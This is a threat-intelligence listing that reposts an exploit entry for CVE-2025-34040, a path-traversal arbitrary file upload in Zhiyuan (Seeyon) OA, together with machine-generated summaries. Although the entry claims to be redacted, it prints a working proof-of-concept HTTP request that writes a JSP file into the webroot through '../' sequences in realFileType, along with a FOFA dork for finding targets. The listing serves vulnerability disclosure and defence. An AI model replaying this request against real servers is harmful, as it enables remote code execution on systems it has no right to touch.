Zhiyuan OA - arbitrary file upload leading
Zhiyuan OA - arbitrary file upload leading
AI Analysis
Technical Summary
The vulnerability in Zhiyuan OA involves arbitrary file upload, which allows attackers to upload files to the server without adequate restrictions. This can potentially lead to further compromise depending on the uploaded file's nature and the application's handling of such files. The exploit code is available, indicating proof-of-concept or exploitability, but no detailed technical specifics or affected versions are provided.
Potential Impact
Successful exploitation could allow an attacker to upload malicious files, potentially leading to unauthorized code execution or system compromise depending on the environment and file handling. No confirmed exploitation in the wild has been reported.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, restrict file upload permissions and validate file types and sizes where possible as a temporary mitigation.
Indicators of Compromise
- exploit-code: # Exploit Title: Zhiyuan OA - arbitrary file upload leading # Google Dork / FOFA: app="致远互联-OA" && title="V8.0SP2" # Date: 1-11-2025 # Exploit Author: Beatriz Fresno Naumova # Vendor Homepage: https://service.seeyon.com/ # Software Link: [vendor download / product page if available] # Version: 5.0, 5.1–5.6sp1, 6.0–6.1sp2, 7.0–7.1sp1, 8.0–8.0sp2 (per NVD/VulnCheck) # Tested on: MacOS # CVE: CVE-2025-34040 Description: A path-traversal / improper validation in the multipart file upload handling of Zhiyuan OA's `wpsAssistServlet` allows an unauthenticated actor (or actor able to reach upload endpoint) to place crafted files outside the intended directories by controlling `realFileType` and `fileId` parameters. Under affected configurations, an uploaded JSP can be stored in the webroot and executed, yielding remote code execution. High-level reproduction template (redacted — non-actionable): POST request to `/seeyon/wpsAssistServlet` with multipart/form-data. The `realFileType` parameter is used to resolve the target path; insufficient validation permits `..` sequences leading to writes under webapp root. The uploaded file contents must be controlled to produce a server-side executable file (e.g., JSP) — DO NOT include such server-side code here. Impact: - Remote code execution if the uploaded file is accessible and executable. - Complete server compromise and pivoting to internal networks. - Data exfiltration, persistence, and further lateral movement. References: - NVD CVE-2025-34040 (NVD entry – awaiting enrichment) - VulnCheck advisory: https://vulncheck.com/advisories/zhiyuan-oa-system-path-traversal-file-upload - CNVD entry: https://www.cnvd.org.cn/flaw/show/CNVD-2021-01627 - Vendor patch/notice: https://service.seeyon.com/patchtools/tp.html POC; POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/Hello.jsp&fileId=2 HTTP/1.1 Host: Content-Type: multipart/form-data; boundary=...... Accept-Encoding: gzip --...... Content-Disposition: form-data; name="upload"; filename="123.xls" Content-Type: application/vnd.ms-excel <% out.println("HelloWorld");%> --.......--
Zhiyuan OA - arbitrary file upload leading
Description
Zhiyuan OA - arbitrary file upload leading
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The vulnerability in Zhiyuan OA involves arbitrary file upload, which allows attackers to upload files to the server without adequate restrictions. This can potentially lead to further compromise depending on the uploaded file's nature and the application's handling of such files. The exploit code is available, indicating proof-of-concept or exploitability, but no detailed technical specifics or affected versions are provided.
Potential Impact
Successful exploitation could allow an attacker to upload malicious files, potentially leading to unauthorized code execution or system compromise depending on the environment and file handling. No confirmed exploitation in the wild has been reported.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, restrict file upload permissions and validate file types and sizes where possible as a temporary mitigation.
Technical Details
- Edb Id
- 52490
- Has Exploit Code
- true
- Code Language
- text
Indicators of Compromise
Exploit Source Code
Exploit code for Zhiyuan OA - arbitrary file upload leading
# Exploit Title: Zhiyuan OA - arbitrary file upload leading # Google Dork / FOFA: app="致远互联-OA" && title="V8.0SP2" # Date: 1-11-2025 # Exploit Author: Beatriz Fresno Naumova # Vendor Homepage: https://service.seeyon.com/ # Software Link: [vendor download / product page if available] # Version: 5.0, 5.1–5.6sp1, 6.0–6.1sp2, 7.0–7.1sp1, 8.0–8.0sp2 (per NVD/VulnCheck) # Tested on: MacOS # CVE: CVE-2025-34040 Description: A path-traversal / improper validation in the multipart file upload handling... (1646 more characters)
Threat ID: 69d4e432aaed68159a0d4594
Added to database: 4/7/2026, 11:02:10 AM
Last enriched: 4/17/2026, 2:44:37 PM
Last updated: 5/22/2026, 3:59:59 PM
Views: 118
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.